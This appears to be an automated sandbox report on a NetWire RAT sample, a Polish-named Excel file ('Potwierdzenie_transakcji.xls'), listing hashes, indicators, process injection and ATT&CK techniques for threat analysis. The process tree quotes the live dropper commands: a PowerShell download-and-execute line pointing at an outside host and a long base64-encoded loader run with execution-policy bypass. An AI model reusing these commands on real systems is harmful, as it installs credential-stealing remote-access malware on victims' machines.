netwire | 960682168b2d6bc4518726721741593c127da6787aa2ca768bc31734b5c72579

General

Target

Potwierdzenie_transakcji.xls
Size

858KB
MD5

473a9bfb649e3a6bf4341d35b839005a
SHA1

f872b68d9d4ba900481c45662b9c8fe3f9006ec6
SHA256

960682168b2d6bc4518726721741593c127da6787aa2ca768bc31734b5c72579
SHA512

057bb39550bd809aa1235cdbbd457d7bf304088f9442bddf5e2610f498986b880872eac247f5810e7feec32b38b40193309a1b6fce43e2a59ae8a945cffc64dc

Score

10^/10

rat botnet stealer netwire

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://office-service-softs.info/tech.jpg

Signatures

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 912 set thread context of 1488	912	powershell.exe	76

NetWire RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/1488-2-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/1488-4-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3908	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeDebugPrivilege	912	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3908 wrote to memory of 3388	3908	EXCEL.EXE	71
PID 3908 wrote to memory of 3388	3908	EXCEL.EXE	71
PID 3388 wrote to memory of 912	3388	powershell.exe	73
PID 3388 wrote to memory of 912	3388	powershell.exe	73
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76
PID 912 wrote to memory of 1488	912	powershell.exe	76

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3388	powershell.exe
3388	powershell.exe
3388	powershell.exe
912	powershell.exe
912	powershell.exe
912	powershell.exe

Blacklisted process makes network request 3 IoCs

flow	pid	Process
12	3388	powershell.exe
13	912	powershell.exe
20	912	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3388	3908	powershell.exe	66

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie_transakcji.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:3908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://office-service-softs.info/tech.jpg')
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  - Process spawned unexpected child process
  PID:3388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABYAHcAIAA9ACAAJwBNAHUAZwBwAGoAcwBjAFcAQgAnADsACgAkAFAAcwBiAGIAWQBWAGwAYgBrACAAPQAgACgAJwB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAnAC0AZgAnAGQAUwB0ACcALAAnAHIAaQBuACcALAAcIGAARABgAG8AYAB3AG4AYABsAGAAbwBhAB0gLAAnAGcAJwApADsAWwB2AG8AaQBkAF0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAJwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAnACkAOwAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAagA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AcgBuAHAALgB0AHgAdAAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAFAAcwBiAGIAWQBWAGwAYgBrACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AbQBhAGkAbgAxAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAQAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2ACkA
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - Suspicious behavior: EnumeratesProcesses
    - Blacklisted process makes network request
    PID:912
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1488-2-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/1488-4-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads